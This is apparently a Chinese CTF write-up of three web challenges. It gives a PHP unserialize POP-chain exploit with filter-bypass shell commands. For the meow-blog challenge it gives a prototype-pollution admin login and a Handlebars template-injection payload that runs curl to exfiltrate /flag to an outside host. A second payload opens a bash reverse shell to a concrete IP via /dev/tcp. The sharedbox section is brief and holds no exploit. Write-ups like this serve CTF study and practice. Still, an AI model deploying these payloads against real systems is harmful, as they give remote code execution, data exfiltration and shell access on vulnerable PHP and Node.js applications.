PHP_unserialize_pro
源码如下:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
pop链:welcome->__destruct==>H4ck3r->__tostring==>Good->__invoke
但是rce有过滤,可以用cd /;more \`dir\`或cd /;more \`php -r "echo chr(102).chr(49).chr(97).chr(103);"\`绕过过滤
exp:
$payload = new Welcome();
$payload->name = 'A_G00d_H4ck3r';
$payload->arg = new H4ck3r();
$payload->arg->func = new G00d();
$payload->arg->func->shell = 'system';
$payload->arg->func->cmd = 'cd /;more `dir`';
$ans = urlencode(serialize($payload));
echo $ans;
meow-blog
nodejs的登录漏洞,
用json发包{"username":"admin","password":[0]}来登录admin,至于为什么可以绕我也不知道,想到这个是因为下面这篇文章
一道有趣的关于nodejs的ctf题
后面暂时还没找到类似的文章来了解原理
style是只有admin可以访问,所以猜测漏洞点在这里。在查看post时有handlebars.compile(style ?? ''),网上搜索handerbars发现4.7版本以前有Handlebars模板注入到RCE 0day,尝试了之后好像没用,在package.js里发现"express-handlebars": "^7.0.7",版本刚好错过,后面还找到Handlebars AST注入这篇,说实话没学过AST注入,所以也不知道怎么弄。后面就没什么进展了。
sharedbox
上传一个文件之后可以view,在view可以读到内网的index.html,是kkFileView框架,后面主办方给了hint为kkFileView-2.2.1的漏洞,网上没有找到对应的版本漏洞而且又是在内网。不会,摆烂。
复现
找到一篇meow-blog的wp,2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC
参考wp进行复现,先本地用docker搭环境
用yarn audit分析meow-blog的package.js
collection.js确实扫描出来漏洞
wp里的网址是英文看不懂,自己搜索找到COLLECTION.JS 直到6.8.0 EXTEND 拒绝服务
在middleware里确实调用了collection的extend
collection.extend(true, params, req.body || {})
collection.extend(true, params, req.query || {})
后面handerbars污染allowedProtoMethods来突破版本限制应该也是用这个
文章里污染login里的session来登录admin
req.session.user = {
username: username,
id: formerUserRows[0].id,
style: formerUserRows[0].style
}
{"username":"123","password":"123","submit":[{"__proto__":{"user":{"id":1,"username":"admin","style":"xxx"}}},"1"]}
成功污染
style路由报错了,所以只能自己构造数据包
文章里的payload,其中"都用\",'都用\',应该是为了防止编码问题。
{"submit":[{"__proto__":{"user":{"id":"c23d123d-e123-444e-a69f-9e69b285473e","username":"admin"},"allowedProtoMethods":{"split": true,"__lookupGetter__": true,"valueOf": true}}},"1"],"style":"{{#with (__lookupGetter__ \"__proto__\")}} {{#with (./constructor.getOwnPropertyDescriptor . \"valueOf\")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . \"hasOwnProperty\" ..}} {{/with}} {{/with}} {{/with}} {{#with \"constructor\"}} {{#with split}} {{pop (push \"eval('process.binding(\\'spawn_sync\\').spawn({file:\\'/bin/bash\\',args: [\\'/bin/bash\\',\\'-c\\',\\'curl http://x.x.x.x:4041/`cat /flag`\\'],stdio: [{type:\\'pipe\\',readable:!0,writable:!1},{type:\\'pipe\\',readable:!1,writable:!0},{type:\\'pipe\\',readable:!1,writable:!0}]});');\")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}"}
将其中的curl改成反弹shell,然后访问/posts/:id进行触发,成功弹到shell,搭环境的时候flag没改,所以还是flag{FAKE_FLAG}
还是handerbars的rce漏洞,但是借collection的extend污染了allowProtoMethods参数来突破了版本限制
只能说大佬太强了。orz
然后用下面这个payload打/clearposts也可以反弹shell
{"evil":{"__proto__":{"type":"Program","body":[{"type":"MustacheStatement","path":0,"params":[{"type":"NumberLiteral","value":"process.mainModule.require('child_process').execSync(bash -c 'bash -i >& /dev/tcp/124.221.19.214/2333 0>&1'
)"}],"loc":{"start":0,"end":0}}]}}}